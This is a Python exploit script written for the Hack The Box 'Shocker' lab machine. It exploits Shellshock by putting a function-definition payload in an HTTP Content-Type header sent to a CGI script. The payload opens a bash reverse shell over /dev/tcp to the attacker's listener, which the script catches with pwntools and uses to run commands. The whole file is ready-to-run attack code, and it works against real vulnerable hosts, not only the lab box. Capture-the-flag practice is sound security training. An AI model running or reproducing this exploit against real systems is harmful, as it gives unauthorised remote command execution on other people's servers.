# -*- coding: utf-8 -*-

# Shocker HTB - Shellshock RCE
# CVE: -
# Exploit author: Renan Almeida
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>

import argparse
import requests
import sys
from pwn import *
from urllib3.exceptions import InsecureRequestWarning

# Suppressing SSL warnings
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 

def main():

    # args
    argparser = argparse.ArgumentParser(description='Shocker HTB - Shellshock RCE', 
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")
    
    main_arg.add_argument('-h', '--help', 
                            help='Show this help menu', 
                            action='store_true')
    
    main_arg.add_argument('--rhost', type=str,
                            help='Webmin host', 
                            required=True)
                            
    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive reverse shell', 
                            required=True)
    
    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive reverse shell (default: 4444)', 
                            default='4444')
    
    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable burpsuite proxy')
                            
    args = argparser.parse_args()
    
    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)
    
    # cons
    rhost = args.rhost
    lhost = args.lhost
    lport = args.lport
    burpsuite = args.burpsuite
    
    # proxies
    proxies = { "http": "127.0.0.1:8080" }
   
    
    def reverse_shell(l):
        
        print(" [*] Spawning the reverse shell...")
 
        l.sendline("""uname -a && id""")
        l.interactive()
    
    def exploit():
        
        py_payload = "/bin/bash -i >& /dev/tcp/{}/{} 0>&1".format(lhost, lport)
        
        headers = {"Content-Type": "() { :; }; " + py_payload}
        
        print(" [*] Exploiting the Shellshock endpoint...")
        
        l = listen(lport)
        
        try:
            if burpsuite:
                r = requests.get("http://{}/cgi-bin/user.sh".format(rhost), headers=headers, 
                                                                            proxies=proxies,
                                                                            timeout=5)
            
            else:
                r = requests.get("http://{}/cgi-bin/user.sh".format(rhost), headers=headers,
                                                                            timeout=5)
        except:
            reverse_shell(l)                                       
    
    # main
    print(" [>] Shocker HTB - Shellshock RCE")
    print(" [*] Python script exploit author: nullarmor")
    
    exploit()
    
if __name__ == "__main__":
    main()
